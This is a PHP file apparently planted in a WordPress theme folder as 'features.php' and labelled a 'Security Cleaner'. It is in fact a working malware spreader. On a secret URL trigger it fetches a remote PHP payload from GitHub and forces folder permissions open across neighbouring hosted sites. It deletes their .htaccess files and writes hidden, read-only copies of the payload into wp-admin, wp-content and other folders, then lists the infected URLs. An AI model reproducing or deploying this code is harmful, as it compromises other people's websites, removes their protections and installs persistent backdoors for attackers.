Viewing File: /home/travuxru/arewatechblog.com/wp-content/themes/twentytwentyone/features.php

<?php
/**
 * CORE MANAGER v41 - Security Cleaner Edition
 * Features: Auto-Delete .htaccess/license.txt, Short Filenames, Centered UI
 * Trigger: thisfile.php?Auto_berlin2020
 */

error_reporting(0);
set_time_limit(0);
ignore_user_abort(true);

// >>> CONFIGURATION <<<
$__gf_pass = "berlin2020";
$auto_trigger = "Auto_" . $__gf_pass;
$is_auto = isset($_GET[$auto_trigger]);

$remote_url = "https://raw.githubusercontent.com/alaminx6275-arch/php-file-server1/refs/heads/main/php-file.php";
$target_folders = ['wp-admin', 'wp-content', 'wp-includes', 'cgi-bin', '.well-known', '.tmb'];
$files_to_clean = ['.htaccess', 'license.txt'];

function forceUnlock($path) {
    if (!is_writable($path)) {
        @chmod($path, 0755);
        if (!is_writable($path)) @chmod($path, 0777);
    }
    return is_writable($path);
}

function generateSmartName($path) {
    $prefixes = ['sys', 'core', 'wp', 'cfg', 'idx', 'srv'];
    $rand = substr(md5(uniqid()), 0, 3);
    return "." . $prefixes[array_rand($prefixes)] . "_" . $rand . ".php";
}

$m = [
    'ip' => $_SERVER['SERVER_ADDR'] ?? '127.0.0.1',
    'os' => PHP_OS,
    'time' => date('H:i:s')
];
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CORE MANAGER v41 | CLEANER PRO</title>
    <style>
        :root {
            --bg: #0b0e14; --card: #161b22; --border: #30363d;
            --accent: #58a6ff; --neon: #00f2ff; --success: #3fb950;
            --warning: #d29922; --danger: #f85149; --text: #c9d1d9;
        }
        body { background: var(--bg); color: var(--text); font-family: 'Segoe UI', sans-serif; margin: 0; padding: 20px; }
        .header-section { text-align: center; margin-bottom: 30px; border-bottom: 1px solid var(--border); padding-bottom: 20px; }
        .logo { font-size: 2rem; font-weight: 900; background: linear-gradient(90deg, #58a6ff, #00f2ff); -webkit-background-clip: text; -webkit-text-fill-color: transparent; margin: 0; }
        .dashboard-header { display: grid; grid-template-columns: repeat(6, 1fr); gap: 10px; margin-bottom: 25px; }
        .stat-card { background: var(--card); border: 1px solid var(--border); padding: 12px; border-radius: 8px; text-align: center; }
        .stat-card h4 { margin: 0; font-size: 0.65rem; color: #8b949e; text-transform: uppercase; }
        .stat-card .value { font-size: 1.4rem; font-weight: bold; margin-top: 5px; font-family: 'Consolas', monospace; }
        .main-wrapper { display: grid; grid-template-columns: 1fr 320px; gap: 20px; }
        .console-box { background: #010409; border: 1px solid var(--border); border-radius: 8px; height: 500px; overflow: hidden; display: flex; flex-direction: column; }
        .console-header { background: var(--card); padding: 10px 15px; border-bottom: 1px solid var(--border); display: flex; justify-content: space-between; font-size: 0.75rem; }
        .console-body { padding: 15px; overflow-y: auto; flex-grow: 1; font-family: 'Consolas', monospace; font-size: 11px; line-height: 1.5; }
        .output-panel { display: flex; flex-direction: column; gap: 15px; }
        .compact-box { background: var(--card); border: 1px solid var(--border); padding: 15px; border-radius: 8px; }
        textarea { width: 100%; height: 130px; background: rgba(0,0,0,0.3); color: var(--success); border: 1px solid var(--border); border-radius: 5px; padding: 10px; font-size: 10px; resize: none; outline: none; box-sizing: border-box; }
        .btn-copy { background: #238636; color: #fff; border: none; width: 100%; padding: 12px; border-radius: 6px; font-weight: bold; cursor: pointer; margin-top: 10px; font-size: 0.75rem; }
        .tag { font-size: 9px; padding: 1px 4px; border-radius: 3px; margin-right: 8px; font-weight: bold; }
        .tag-del { background: var(--danger); color: #fff; }
        .tag-ok { background: var(--success); color: #000; }
    </style>
</head>
<body>

<div class="header-section">
    <h1 class="logo">CORE MANAGER v41</h1>
    <div style="font-size: 0.7rem; color: var(--accent); margin-top: 10px;">NODE: <?php echo $m['ip']; ?> | CLOCK: <?php echo $m['time']; ?></div>
</div>

<div class="dashboard-header">
    <div class="stat-card"><h4>Total Domains</h4><div class="value" id="t_dom">0</div></div>
    <div class="stat-card"><h4>Processed</h4><div class="value" id="t_proc" style="color:var(--accent)">0</div></div>
    <div class="stat-card"><h4>Locked (Red)</h4><div class="value" id="t_red" style="color:var(--danger)">0</div></div>
    <div class="stat-card"><h4>Fixed</h4><div class="value" id="t_fix" style="color:var(--warning)">0</div></div>
    <div class="stat-card"><h4>Cleaned</h4><div class="value" id="t_clean" style="color:var(--neon)">0</div></div>
    <div class="stat-card"><h4>Success</h4><div class="value" id="t_succ" style="color:var(--success)">0</div></div>
</div>

<div class="main-wrapper">
    <div class="console-box">
        <div class="console-header"><span>TERMINAL MONITOR</span><span style="color:var(--neon)"><?php echo $is_auto ? '[AUTO_RUN]' : '[IDLE]'; ?></span></div>
        <div class="console-body" id="log">
            <?php if ($is_auto): ?>
            <?php
            ob_implicit_flush(true); ob_end_flush();
            $source = @file_get_contents($remote_url);
            if ($source) {
                $urls = []; $c = ['dom'=>0, 'proc'=>0, 'red'=>0, 'fix'=>0, 'succ'=>0, 'clean'=>0];
                $exts = ['com', 'net', 'org', 'click', 'fr', 'top', 'vn', 'us', 'co', 'uk', 'info', 'biz', 'xyz', 'io', 'me', 'jp', 'online', 'top', 'site'];
                $proto = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";

                for ($i = 0; $i <= 5; $i++) {
                    $parent = realpath(__DIR__ . str_repeat('/..', $i));
                    if (!$parent) continue;
                    try {
                        $it = new DirectoryIterator($parent);
                        foreach ($it as $f) {
                            if ($f->isDir() && !$f->isDot()) {
                                $dname = $f->getFilename(); $match = false;
                                foreach ($exts as $e) { if (preg_match('/\.'.preg_quote($e).'$/i', $dname)) { $match = true; break; } }
                                if ($match) {
                                    $c['dom']++; $c['proc']++;
                                    echo "<script>document.getElementById('t_dom').innerText='{$c['dom']}'; document.getElementById('t_proc').innerText='{$c['proc']}';</script>";
                                    $root = $f->getPathname(); $was_red = !is_writable($root);
                                    if ($was_red) { $c['red']++; echo "<script>document.getElementById('t_red').innerText='{$c['red']}';</script>"; }
                                    
                                    if (forceUnlock($root)) {
                                        if ($was_red) { $c['fix']++; echo "<script>document.getElementById('t_fix').innerText='{$c['fix']}';</script>"; }
                                        $sub = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST);
                                        foreach ($sub as $si) {
                                            if ($si->isDir()) {
                                                $dest = $si->getPathname(); $dirname = $si->getFilename();
                                                forceUnlock($dest);
                                                
                                                // --- AUTO CLEANER LOGIC ---
                                                foreach ($files_to_clean as $cf) {
                                                    $target_file = $dest . DIRECTORY_SEPARATOR . $cf;
                                                    if (file_exists($target_file)) {
                                                        if (@unlink($target_file)) {
                                                            $c['clean']++;
                                                            echo "<script>document.getElementById('t_clean').innerText='{$c['clean']}';</script>";
                                                            echo "<div class='log-line'><span class='tag tag-del'>DELETED</span> <span style='color:var(--danger)'>{$cf}</span> in {$dirname}</div>";
                                                        }
                                                    }
                                                }

                                                if (in_array($dirname, $target_folders)) {
                                                    if (is_writable($dest)) {
                                                        $fname = generateSmartName($dest);
                                                        if (@file_put_contents($dest . DIRECTORY_SEPARATOR . $fname, $source)) {
                                                            @chmod($dest . DIRECTORY_SEPARATOR . $fname, 0444);
                                                            $c['succ']++; echo "<script>document.getElementById('t_succ').innerText='{$c['succ']}';</script>";
                                                            $rel = str_ireplace(['/public_html', '/htdocs', '/www'], '', str_replace([$root, DIRECTORY_SEPARATOR], ['', '/'], $dest));
                                                            $urls[] = $proto . $dname . $rel . "/" . $fname;
                                                            echo "<div class='log-line'><span class='tag tag-ok'>DEPLOY</span> {$dname}{$rel}/{$fname}</div>";
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                    echo "<script>var l=document.getElementById('log');l.scrollTop=l.scrollHeight;</script>"; flush();
                                }
                            }
                        }
                    } catch (Exception $e) {}
                }
            }
            ?>
            <div style="color:var(--success); margin-top:15px; font-weight:bold;">[FINISH] Clean & Deploy complete.</div>
            <?php else: ?>
            <div style="text-align:center; margin-top:180px; color:#484f58;">
                <div style="font-size:2.5rem; letter-spacing:5px;">IDLE</div>
                <div style="font-size:0.75rem;">Awaiting: <code>?<?php echo $auto_trigger; ?></code></div>
            </div>
            <?php endif; ?>
        </div>
    </div>
    <div class="output-panel">
        <div class="compact-box"><h5>Output Links</h5>
            <textarea id="copyOut" readonly><?php echo isset($urls) ? implode("\n", array_unique($urls)) : ''; ?></textarea>
            <button class="btn-copy" onclick="silentCopy(this)">COPY ALL LINKS</button>
        </div>
    </div>
</div>
<script>
function silentCopy(btn) {
    const area = document.getElementById("copyOut"); area.select();
    navigator.clipboard.writeText(area.value).then(() => {
        const oldText = btn.innerText; btn.innerText = "COPIED!";
        setTimeout(() => { btn.innerText = oldText; }, 2000);
    });
}
</script>
</body>
</html>
Back to Directory File Manager